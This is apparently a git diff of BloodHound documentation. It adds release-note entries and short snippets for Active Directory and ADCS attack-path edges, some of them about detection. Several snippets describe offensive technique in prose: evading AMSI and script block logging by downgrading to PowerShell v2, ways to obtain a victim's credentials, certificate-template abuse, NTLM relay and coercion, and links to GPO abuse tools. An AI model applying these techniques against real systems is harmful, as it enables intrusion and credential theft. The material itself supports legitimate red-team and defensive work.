+| Data Collection | [More Resilient OpenHound Operations](/resources/release-notes/2026-07-07#more-resilient-openhound-operations) | Keep OpenHound jobs alive longer, surface installed versions in BloodHound, and improve logging and failure handling. |
+| Cypher (Enterprise) | [Higher Memory Limits for Cypher Queries](/resources/release-notes/2026-07-07#higher-memory-limits-for-cypher-queries) | BloodHound Enterprise now uses a higher memory limit for Cypher queries. |
+| Zone Builder | [Privilege Zone Rule Authoring Improvements](/resources/release-notes/2026-07-07#privilege-zone-rule-authoring-improvements) | Preserve rule state across rule types and warn before saving Cypher-based rules that return no results. |
+| Zone Builder | [Variable Analysis Mode](/resources/release-notes/2026-07-07#variable-analysis-mode) | Skip post-processing after Privilege Zone changes so updated zone definitions and related findings appear faster in the graph. |
+| Accessibility | [Accessibility Improvements](/resources/release-notes/2026-07-07#accessibility-improvements) | Navigate key workflows with clearer focus states, semantic structure, and screen-reader labels. |
+
+### Fixed Issues
+
+See the [release notes](/resources/release-notes/2026-07-07#bloodhound-8) for a full list of fixed issues in this release.
+
## 2026-06-17
| | | | | |
diff --git a/docs/snippets/edges/ad-permission-modification-opsec.mdx b/docs/snippets/edges/ad-permission-modification-opsec.mdx
new file mode 100644
index 00000000..56b59ed2
--- /dev/null
+++ b/docs/snippets/edges/ad-permission-modification-opsec.mdx
@@ -0,0 +1,3 @@
+When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what’s going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
+
+Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
diff --git a/docs/snippets/edges/adcs-certificate-issuance-opsec.mdx b/docs/snippets/edges/adcs-certificate-issuance-opsec.mdx
new file mode 100644
index 00000000..5f417e33
--- /dev/null
+++ b/docs/snippets/edges/adcs-certificate-issuance-opsec.mdx
@@ -0,0 +1 @@
+When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.
diff --git a/docs/snippets/edges/adcs-dnshostname-spn-note.mdx b/docs/snippets/edges/adcs-dnshostname-spn-note.mdx
new file mode 100644
index 00000000..af08b168
--- /dev/null
+++ b/docs/snippets/edges/adcs-dnshostname-spn-note.mdx
@@ -0,0 +1 @@
+The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
diff --git a/docs/snippets/edges/adcs-enrollment-identity-attributes.mdx b/docs/snippets/edges/adcs-enrollment-identity-attributes.mdx
new file mode 100644
index 00000000..3ac8c6a7
--- /dev/null
+++ b/docs/snippets/edges/adcs-enrollment-identity-attributes.mdx
@@ -0,0 +1 @@
+If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their `mail` or `dNSHostName` attribute set, which is required by the certificate template. The `mail` attribute can be set on both user and computer objects but the `dNSHostName` attribute can only be set on computer objects. Computers have validated write permission to their own `dNSHostName` attribute by default, but neither users nor computers can write to their own `mail` attribute by default.
diff --git a/docs/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx b/docs/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx
new file mode 100644
index 00000000..63c57a59
--- /dev/null
+++ b/docs/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx
@@ -0,0 +1 @@
+When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
diff --git a/docs/snippets/edges/adcs-victim-mail-requirements.mdx b/docs/snippets/edges/adcs-victim-mail-requirements.mdx
new file mode 100644
index 00000000..0484e5c0
--- /dev/null
+++ b/docs/snippets/edges/adcs-victim-mail-requirements.mdx
@@ -0,0 +1,5 @@
+If the certificate template is of schema version 2 or above, and its attribute `msPKI-Certificate-Name-Flag` contains the flag `SUBJECT_REQUIRE_EMAIL` and/or `SUBJECT_ALT_REQUIRE_EMAIL`, then the victim principal must have their `mail` attribute set for the certificate enrollment. The [CertTemplate](/resources/nodes/cert-template) BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
+
+If the certificate template is of schema version 1 or does not have either email flag, then continue to Step {continueStep}.
+
+If either flag is present, you will need the victim's `mail` attribute to be set. The value of the attribute will be included in the issued certificate but it is not used to identify the target principal, so it can be set to any arbitrary string.
diff --git a/docs/snippets/edges/adcs-victim-session-options.mdx b/docs/snippets/edges/adcs-victim-session-options.mdx
new file mode 100644
index 00000000..4e55d769
--- /dev/null
+++ b/docs/snippets/edges/adcs-victim-session-options.mdx
@@ -0,0 +1,9 @@
+If the victim is a computer, you can obtain the credentials of the computer account using the Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
+
+Alternatively, you can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
+
+If the victim is a user, you have the following options for obtaining the credentials:
+
+* Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
+* Password reset (see [ForceChangePassword edge](/resources/edges/force-change-password) documentation).
+* Targeted Kerberoasting (see [WriteSPN edge](/resources/edges/write-spn) documentation).
diff --git a/docs/snippets/edges/alt-security-identities-esc14.mdx b/docs/snippets/edges/alt-security-identities-esc14.mdx
new file mode 100644
index 00000000..beeb8ff4
--- /dev/null
+++ b/docs/snippets/edges/alt-security-identities-esc14.mdx
@@ -0,0 +1 @@
+{edgeName} also grants write access to the `altSecurityIdentities` attribute, which may enable an ADCS ESC14 Scenario A attack. See the [WriteAltSecurityIdentities](/resources/edges/write-alt-security-identities) edge documentation for details.
diff --git a/docs/snippets/edges/azure-generic-abuse-log-opsec.mdx b/docs/snippets/edges/azure-generic-abuse-log-opsec.mdx
new file mode 100644
index 00000000..da90d05d
--- /dev/null
+++ b/docs/snippets/edges/azure-generic-abuse-log-opsec.mdx
@@ -0,0 +1 @@
+This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
diff --git a/docs/snippets/edges/gpo-abuse-tools.mdx b/docs/snippets/edges/gpo-abuse-tools.mdx
new file mode 100644
index 00000000..bde0d7d4
--- /dev/null
+++ b/docs/snippets/edges/gpo-abuse-tools.mdx
@@ -0,0 +1,4 @@
+Refer to [A Red Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179) for details about the abuse technique, and check out the following tools for practical exploitation:
+
+ - **Windows**: [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
+ - **Linux**: [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
diff --git a/docs/snippets/edges/ntlm-coercion-methods.mdx b/docs/snippets/edges/ntlm-coercion-methods.mdx
new file mode 100644
index 00000000..308286fd
--- /dev/null
+++ b/docs/snippets/edges/ntlm-coercion-methods.mdx
@@ -0,0 +1 @@
+Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
diff --git a/docs/snippets/edges/ntlm-inveigh-relay.mdx b/docs/snippets/edges/ntlm-inveigh-relay.mdx
new file mode 100644
index 00000000..c7306158
--- /dev/null
+++ b/docs/snippets/edges/ntlm-inveigh-relay.mdx
@@ -0,0 +1 @@
+The NTLM relay can be executed with [Inveigh](https://github.com/Kevin-Robertson/Inveigh).
diff --git a/docs/snippets/edges/ntlm-relay-detection.mdx b/docs/snippets/edges/ntlm-relay-detection.mdx
new file mode 100644
index 00000000..7113455c
--- /dev/null
+++ b/docs/snippets/edges/ntlm-relay-detection.mdx
@@ -0,0 +1 @@
+NTLM relayed authentications can be detected by login events where the IP address does not match the computer's actual IP address. This detection technique is described in the blog post: [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9).
diff --git a/docs/snippets/edges/ntlm-relay-guidance.mdx b/docs/snippets/edges/ntlm-relay-guidance.mdx
new file mode 100644
index 00000000..faf8f449
--- /dev/null
+++ b/docs/snippets/edges/ntlm-relay-guidance.mdx
@@ -0,0 +1 @@
+This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.
diff --git a/docs/snippets/edges/ntlm-webclient-coercion-note.mdx b/docs/snippets/edges/ntlm-webclient-coercion-note.mdx
new file mode 100644
index 00000000..420f36e9
--- /dev/null
+++ b/docs/snippets/edges/ntlm-webclient-coercion-note.mdx
@@ -0,0 +1 @@
+To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
diff --git a/docs/snippets/resources/any-node-edges-intro.mdx b/docs/snippets/resources/any-node-edges-intro.mdx
new file mode 100644
index 00000000..19de8373
--- /dev/null
+++ b/docs/snippets/resources/any-node-edges-intro.mdx
@@ -0,0 +1 @@
+Any edge type may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
diff --git a/docs/snippets/resources/azure-resource-node-properties-table.mdx b/docs/snippets/resources/azure-resource-node-properties-table.mdx
new file mode 100644
index 00000000..2f16decb
--- /dev/null
+++ b/docs/snippets/resources/azure-resource-node-properties-table.mdx
@@ -0,0 +1,8 @@
+| | |
+| --- | --- |
+| **Entity Panel name** | **Description** |
+| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
+| Display Name | The display name for the object. |
+| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
+| Created | The time when the object was created in the directory. |
+| Tenant ID | Unique identifier for the Azure tenant. |
diff --git a/docs/snippets/resources/edition-pill.mdx b/docs/snippets/resources/edition-pill.mdx
new file mode 100644
index 00000000..e2477c17
--- /dev/null
+++ b/docs/snippets/resources/edition-pill.mdx
@@ -0,0 +1 @@
+
diff --git a/docs/snippets/resources/enterprise-edition-pill.mdx b/docs/snippets/resources/enterprise-edition-pill.mdx
new file mode 100644
index 00000000..1f64e01c
--- /dev/null
+++ b/docs/snippets/resources/enterprise-edition-pill.mdx
@@ -0,0 +1 @@
+
diff --git a/docs/snippets/resources/node-edges-intro.mdx b/docs/snippets/resources/node-edges-intro.mdx
new file mode 100644
index 00000000..18206948
--- /dev/null
+++ b/docs/snippets/resources/node-edges-intro.mdx
@@ -0,0 +1 @@
+The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
diff --git a/docs/snippets/resources/node-properties-intro.mdx b/docs/snippets/resources/node-properties-intro.mdx
new file mode 100644
index 00000000..2d98b63d
--- /dev/null
+++ b/docs/snippets/resources/node-properties-intro.mdx
@@ -0,0 +1,5 @@
+The node supports the properties of the table below.
+
+
+ Properties which are blank/null will not be shown in the Entity Panel.
+
diff --git a/docs/snippets/resources/node-properties-table-guide.mdx b/docs/snippets/resources/node-properties-table-guide.mdx
new file mode 100644
index 00000000..2c06759c
--- /dev/null
+++ b/docs/snippets/resources/node-properties-table-guide.mdx
@@ -0,0 +1,5 @@
+The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
+
+* **Entity Panel:** Name shown in the BloodHound UI.
+* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
+* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
diff --git a/docs/snippets/sample-data.mdx b/docs/snippets/sample-data.mdx
index 386b7d28..faa8597b 100644
--- a/docs/snippets/sample-data.mdx
+++ b/docs/snippets/sample-data.mdx
@@ -30,7 +30,7 @@
1. Click **Upload** to begin the data ingest process.
- The default admin email is `spam@example.com` and will appear as the user ingesting the data.
+ The default admin email is `admin@example.com` and will appear as the user ingesting the data.